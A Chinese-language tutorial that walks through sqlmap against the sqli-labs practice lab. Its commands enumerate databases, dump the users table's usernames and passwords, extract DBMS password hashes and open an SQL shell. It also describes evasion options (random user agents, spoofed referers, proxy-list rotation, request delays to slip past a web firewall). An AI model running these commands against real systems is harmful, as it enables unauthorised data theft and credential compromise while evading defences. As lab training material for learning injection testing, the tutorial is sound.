这里选择的是sqli-labs
在windows上搭建一下,具体过程就不多介绍了
搭建完毕
点击第一关
sqlmap -u http://192.168.1.100/Less-1/?id=1
注:注入点后面的参数大于等于2个时,url需要加双引号
两个提示,提示1:可能存在注入,数据库可能是Mysql;提示2:可能存在XSS
直接回车
反馈回来的信息
sqlmap -u https://192.168.1.100/Less-1/?id=1 --force-ssl
sqlmap -u http://192.168.1.100/Less-1/?id=1 --dbs
sqlmap -u http://192.168.1.100/Less-1/?id=1 -D security --tables
sqlmap -u http://192.168.1.100/Less-1/?id=1 -D security -T users --columns
sqlmap -u http://192.168.1.100/Less-1/?id=1 -D security -T users -C password,username --dump
网站的用户名和密码全都明文显示出来了
sqlmap -u http://192.168.1.100/Less-1/?id=1 --users
sqlmap -u http://192.168.1.100/Less-1/?id=1 --passwords
密码的hash值出来了,解密后就可以获得到密码
简单的密码直接可以用sqlmap算出来,不过计算的会比较慢
sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)。
vim 1.txt
GET /Less-1/?id=1 HTTP/1.1
Host: 192.168.0.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
sqlmap -r 1.txt
Sqlmap的输出信息按从简到繁共分为7个级别(和葫芦娃一样多),依次为0、1、2、3、4、5和6。使用参数“-v <级别>”来指定某个等级,如使用参数“-v 6”来指定输出级别为6。默认输出级别为1。各个输出级别的描述如下:
vim 1.txt
http://192.168.0.104/Less-1/?id=1
http://192.168.0.104/Less-1/?id=2
http://192.168.0.104/Less-1/?id=3
http://192.168.0.104/Less-1/?id=4
http://192.168.0.104/Less-1/?id=5
sqlmap -m 1.txt
不加level参数时,默认的探测等级是1,会测试get和post数据
等级2会比等级1多测试cookie
等级3会比等级2多测试 UA和referer
等级越高测试的payload越多,耗时越久
具体每个等级都有哪些payload可在payloads.xml中查看
kali中payloads.xml的默认位置是 /usr/share/golismero/tools/sqlmap/xml/payloads.xml
sqlmap -u http://192.168.1.100/Less-1/?id=1 --is-dba
sqlmap -u http://192.168.1.100/Less-1/?id=1 --sql-shell
现在就可以输入自定义的sql语句来执行了
sqlmap默认的UA是 sqlmap/1.2.7#stable (http://sqlmap.org)
要是我们想设置一个随机的UA,可使用该参数
sqlmap -u http://192.168.1.100/Less-1/?id=1 --random-agent
有的页面会判断访问的来源,所以有时候我们需要指定的refer
sqlmap -u http://192.168.1.100/Less-1/?id=1 --referer http://www.baidu.com
sqlmap -u http://192.168.1.100/Less-1/?id=1 --proxy http://192.168.0.104:1080
vim 1.txt
192.168.0.101:1080
192.168.0.102:1080
192.168.0.103:1080
192.168.0.104:1080
192.168.0.105:1080
sqlmap -u http://192.168.1.100/Less-1/?id=1 --proxy-file 1.txt
每个HTTP请求之间的延迟(秒),防止因为访问过于频繁被网站防火墙拦截
sqlmap -u http://192.168.1.100/Less-1/?id=1 --delay 5
–safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。
–safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。
sqlmap -u http://192.168.1.100/Less-1/?id=1 --safe-url http://192.168.1.100
sqlmap -u http://192.168.1.100/Less-1/?id=1 --safe-freq http://192.168.1.100
在知道目标所使用的数据库的情况下,可以使用 --dbms 来指定数据库
sqlmap -u http://192.168.1.100/Less-1/?id=1 --dbms=mysql
要是目标链接有多个参数,可以用 -p 来指定只测试特定的参数
sqlmap -u http://192.168.1.100/Less-1/?id=1 -p id